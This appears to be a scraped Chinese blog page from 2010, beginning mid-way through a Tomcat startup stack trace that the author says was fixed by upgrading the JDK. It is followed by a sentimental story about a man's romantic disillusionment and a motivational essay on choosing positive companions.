at org.apache.catalina.connector.Connector.setProtocol(Connector.java:513)
at org.apache.catalina.connector.Connector.<init>(Connector.java:69)
at org.apache.catalina.startup.ConnectorCreateRule.begin(ConnectorCreateRule.java:62)
at org.apache.tomcat.util.digester.Digester.startElement(Digester.java:1283)
at com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser.startElement(AbstractSAXParser.java:501)
at com.sun.org.apache.xerces.internal.parsers.AbstractXMLDocumentParser.emptyElement(AbstractXMLDocumentParser.java:179)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanStartElement(XMLDocumentFragmentScannerImpl.java:1339)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl$FragmentContentDriver.next(XMLDocumentFragmentScannerImpl.java:2747)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.next(XMLDocumentScannerImpl.java:648)
at com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl.scanDocument(XMLDocumentFragmentScannerImpl.java:510)
at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:807)
at com.sun.org.apache.xerces.internal.parsers.XML11Configuration.parse(XML11Configuration.java:737)
at com.sun.org.apache.xerces.internal.parsers.XMLParser.parse(XMLParser.java:107)
at com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser.parse(AbstractSAXParser.java:1205)
at com.sun.org.apache.xerces.internal.jaxp.SAXParserImpl$JAXPSAXParser.parse(SAXParserImpl.java:522)
at org.apache.tomcat.util.digester.Digester.parse(Digester.java:1544)
at org.apache.catalina.startup.Catalina.load(Catalina.java:524)
at org.apache.catalina.startup.Catalina.load(Catalina.java:560)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:39)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at org.apache.catalina.startup.Bootstrap.load(Bootstrap.java:260)
at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java:414)
Aug 29, 2010 2:47:14 PM org.apache.catalina.core.AprLifecycleListener init
INFO: The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: /usr/local/jdk1.6.0_07/jre/lib/i386/client:/usr/local/jdk1.6.0_ 07/jre/lib/i386:/usr/local/jdk1.6.0_07/jre/../lib/i386::/usr/local/apr/lib:/usr/java/packages/lib/i386:/li b:/usr/lib

[/code]

因更换系统后,原jdk 1.6.0_07不支持apr,故要将jdk进行升级,本人升级为jdk-6.21后圆满解决此问题
以下为jdk-6.21下载地址
http://cds.sun.com/is-bin/INTERSHOP.enfinity/WFS/CDS-CDS_Developer-Site/en_US/-/USD/VerifyItem-Start/jdk-6u21-linux-x64.bin?BundledLineItemUUID=H1eJ_hCyf.AAAAEqFAYUA7zE&OrderID=cFSJ_hCyoZEAAAEqAAYUA7zE&ProductID=xKiJ_hCySHIAAAEpT7wzBGsB&FileName=/jdk-6u21-linux-x64.bin

八月 29th, 2010

Posted In: 未分类

十岁以前,就不说了,无非是淘气和不懂事。

十三、四岁的时候,开始对女孩有好感,但是那时候他离女孩远远的,并且以讨厌女孩自居,生怕被同伴嘲笑。

十五岁的时候,听到大人们说某某男人好花,把女朋友甩了,女孩自杀了。他觉得这人真狠毒,自己将来一定要做个痴情的男人,一定要一生只爱一个人。

十六岁的时候,他喜欢上了一个女孩,但是他不敢和她说。仍然和往常一样,脏兮兮的在灰土飞扬的操场上踢球。只在女孩走出校门的时候,躲在二层的窗户上看她的背影,他觉得她一定是个天使。

十七岁的时候,有个女孩喜欢上了他,但是他离她很远,他心里面只有自己那个女孩, 他觉得看别的女孩都是对她的不忠。

十八岁的时候,看了一个MTV,感动得想哭,他想,如果自己的女孩失去了双眼,他一定 男主角会毫不犹豫的把自己的眼睛给她,让她能看到光明。

十九岁的时候,高考了。终于和自己暗恋的女孩分别,坐火车去学校的时候,感觉自己离她越来越远,心像被掏空了一样。还在想自己一定不会忘记她,等到自己成功以后一定要去找她。

二十岁的时候,听到有人讲黄色笑话,觉得这人真可耻。

二十一岁的时候,她的回信中告诉他,自己有了男朋友。偷偷的哭了一个晚上。

二十二岁的时候,他向一个女孩表白,女孩说“你是个好人,可是我还小。”他想,我的确是个好人,他说“没关系,我可以等你。”心想,我不会像那些花心的人一样,三年五年我也能等。

二十三岁的时候,说自己还小的女孩和一个帅哥恋爱了。他很纳闷,长大原来可以这快。

二十四岁的时候,他又向一个女孩表白,女孩说“你是个好人,可是我并不适合你。” 他纳闷很久,我是好人你怎么还不适合我呢?

二十五岁的时候,他又追求一个女孩,女孩接受了他。他开始很幸福的为未来拼搏,他 想,一时的开心只是暂时的,只有努力拼搏,他和她才能有快乐的未来,但是,半年以 后,女孩和他分手了。只是因为另外一个男孩会说让她开心的话。女孩说“你是个好人 ,是我对不起你。”他似乎明白了问题所在,他是个好人。

二十六岁的时候,他开始堕落,交网友。打扮得时尚而酷,而且渐渐的学习着讨好女孩 的话。不久,他有了个女朋友,虽然他对她也很好,可是,他心里知道,自己并不爱她 。

二十七岁的时候,他和女孩分手了。他对女孩说“你是个好女孩,是我对不起你。”

二十八岁的时候,他尝试了一夜情,发现别人能做的,自己也一样。

二十九岁的时候,他学会了讲黄色笑话,并且以看旁边的女孩子脸红为乐趣。

三十岁的时候,他忽然发现自己变得很有能力追求到女孩,但是却没有了爱的能力。于 是

他在自己QQ上写下了如下的话 *****************************************

其实每个男孩,本来都是想做一个感情专一的好男人的。
其实每个男孩,本来看女孩子都是看脸而不是胸部的。
其实每个男孩,本来都是不会讲黄色笑话的。
其实每个男孩,本来都是渴望爱一个人直到永远的。
只是,没有任何女孩爱这样的男孩,她们觉得这样的男孩太幼稚,太古板,没有情趣。
于是男孩开始改变,变成女孩喜欢的那种 嘴角挂着坏坏的笑,玩世不恭或者幽默
开始学会说甜言蜜语而不是心里想说的话 开始学会假装关心,学会给女孩送小饰物讨好她

学会如何追求,如何把握爱情。 或者看破红尘,游戏情场,成为女人恨恨的那种男人
他们可以很容易俘获女孩子的心 但是他们也会在黑的夜里叼着烟流泪 心里有爱的时候,没有女孩.有了女孩,却永远没有了爱的感觉 在听到女人抱怨世上没有一个好男人时候 他们不会再去努力做个好男人,只是微笑着擦肩而过

八月 22nd, 2010

Posted In: 未分类

在现实生活中,你和谁在一起的确很重要,甚至能改变你的成长轨迹,决定你的人生成败。和什么样的人在一起,就会有什么样的人生。和勤奋的人在一起,你不会懒惰;和积极的人在一起,你不会消沉;与智者同行,你会不同凡响;与高人为伍,你能登上巅峰。

科学家研究认为:“人是唯一能接受暗示的动物。”积极的暗示,会对人的情绪和生理状态产生良好的影响,激发人的内在潜能,发挥人的超常水平,使人进取,催人奋进。远离消极的的人吧!否则,他们会在不知不觉中偷走你的梦想,使你渐渐颓废,变得平庸。

积极的人像太阳,照到哪里哪里亮;消极的人像月亮,初一十五不一样。态度决定一切。有什么态度,就有什么样的未来;性格决定命运。有怎样的性格,就有怎样的人生。

有人说,人生有三大幸运:上学时遇到好老师,工作时遇到一位好师傅,成家时遇到一个好伴侣。有时他们一个甜美的笑容,一句温馨的问候,就能使你的人生与众不同,光彩照人;生活中最不幸的是:由于你身边缺乏积极进取的人,缺少远见卓识的人,使你的人生变得平平庸庸,黯然失色。

有句话说得好,你是谁并不重要,重要的是你和谁在一起。古有“孟母三迁”,足以说明和谁在一起的确很重要。雄鹰在鸡窝里长大,就会失落 去飞翔的本领,怎能博击长空,翱翔蓝天?野狼在羊群里成长,也会“爱上羊”而丧失狼性,怎能叱咤风云,驰骋大地?

原本你很优秀,由于周围那些消极的人影响了你,使你缺乏向上的压力,丧失前进的动力而变得俗不可耐,如此平庸。不是有这样的观念吗?大多数人带着未演奏的乐曲走进了坟墓。

如果你想像雄鹰一样翱翔天空,那你就要和群鹰一起飞翔,而不要与燕雀为伍;如果你想像野狼一样驰骋大地,那就要和野狼群一起奔跑,而不能与鹿羊同行;正所谓“画眉麻雀不同嗓,金鸡乌鸦不同窝。”这也许就是潜移默化的力量和耳濡目染的作用。如果你想聪明,那你就要和聪明的人在一起,你才会更加睿智;如果你想优秀,那你就要和优秀的人在一起,你才会出类拔萃。

读好书,交高人,乃人生两大幸事。一个人的身份的高低,是由他周围的朋友决定的。朋友越多,意味着你的价值越高,对你的事业帮助越大。朋友是你一生不可缺的宝贵财富。因为朋友的激励和相助,你才会战无不胜,一往无前。人生的奥妙之处就在于与人相处,携手同行。生活的美好之处则在于送人玫瑰,手留余香。

人生就是这样。想和聪明的人在一起,你就得聪明;想和优秀的人在一起,你就得优秀。善于发现别人的优点,并把它转化成自己的长处,你就会成为聪明人;善于把握人生的机遇,并把它转化成自己的机遇,你就会成为优秀者。对他人的成功像对待自己的成功一样充满热情。学最好的别人,做最好的自己。借人之智,成就自己,此乃成功之道。

和不一样的人在一起,就会有不一样的人生。爱情、婚姻如此,家庭、事业也如此

七月 17th, 2010

Posted In: 未分类

下一页 »

无觅相关文章插件,快速提升流量